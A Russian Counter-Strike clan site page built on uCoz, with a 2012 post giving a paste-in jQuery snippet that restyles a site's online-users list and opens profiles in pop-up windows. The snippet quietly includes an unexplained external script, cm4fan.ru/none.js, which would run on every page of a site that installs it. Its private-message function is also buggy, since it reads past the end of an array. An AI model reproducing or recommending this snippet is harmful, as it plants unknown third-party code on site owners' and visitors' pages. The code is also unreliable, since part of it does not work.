Среда, 08.05.2024, 06:34

Меню сайта
Меню клана
Download

Карты
Скачать игру
Скачать патчи
Боты для cs
Скачать програмы
Анти-читы
Скачать читы
Готовые сервера
Плагины
Оружие
Скины для winamp
Видео
Прицелы
Меню cs
Конфиги
Статьи
Понизить пинг
Учимся разпрыгу
Всё про пистолеты
Руководство кэмпера
JumbBug
История counter strike
Counter strike словарь
Докажи что ты не читер
Секреты Counter Strike
Секреты карт в CS
Консольные команды
Мастер Headshot'ОВ
Скрипты для CS
Прицеливание
Секреты оружия
Правила проведения CW
Покоряем скалы de_nuke
Опрос сайта
Что для вас самое главное в игре?
Всего ответов: 20
Мониторинг сервера


Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
Новый простой динамичный список онлайн пользователей
14:47
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Установка:

В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

Code
<div class="apoulist" style="display:none;">  
  $ONLINE_USERS_LIST$  
  </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>  
  .apo {  
  width:95%;  
  height:15px;  
  background:rgba(230, 230, 230, 0.8);  
  padding:2px;  
  vertical-align:middle;  
  margin-bottom:5px;  
  font-weight:bold;  
  border-left:1px solid #ccc;  
  border-top:1px solid #ccc;  
  border-radius:2px;  
  }  

  .apo a {  
  text-decoration:none;  
  }  
  </style>  
  <script>  
  // Удобная динамичная онлайн статистика by Apocalypse  
  function apoOnGet() {  
  // Основная функция получения и стилизации списка пользователей  
  $('.apoulist').load('# .apoulist', function() {  

  // Убираем запятые  
  $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));  

  // Делаем форму видимой  
  $('.apoulist').fadeIn();  

  // Превращаем список пользователей в блочный вариант + отключаем события при клике  
  $('.apoulist a').each(function() {  
  $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');  
  }).removeAttr('onclick').click(function() {return false});  
  });  
  };  

  // Запускаем функцию при загрузке страницы  
  apoOnGet();  

  // Запускаем интервал автообновления  
  setInterval(function() {  
  apoOnGet();  
  }, 30000);  

  // Функция получения профиля  
  function apoGetP(name) {  
  new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});  
  }  

  // Функция получения страницы Личных Сообщений  
  function apoGetPm(url) {  
  var url2 = url.split('-');  
  var url3 = url2[url2.length];  
  new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});  
  }  
  // ApoTeam (c) 2012  
  </script>
Просмотров: 346 | Добавил: Aninew | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа
Мы против читов!
ЧАТ




Мини-чат

Друзья клана
Клан P@|NK|LLeR
Календарь
«  Октябрь 2012  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Время
Мы всё знаем)
Ваш браузер:

Версия браузера:

Ваш IP:
18.221.165.246
Наша кнопка
Клан Ghetto


Copyright MyCorp © 2024 Создать бесплатный сайт с uCoz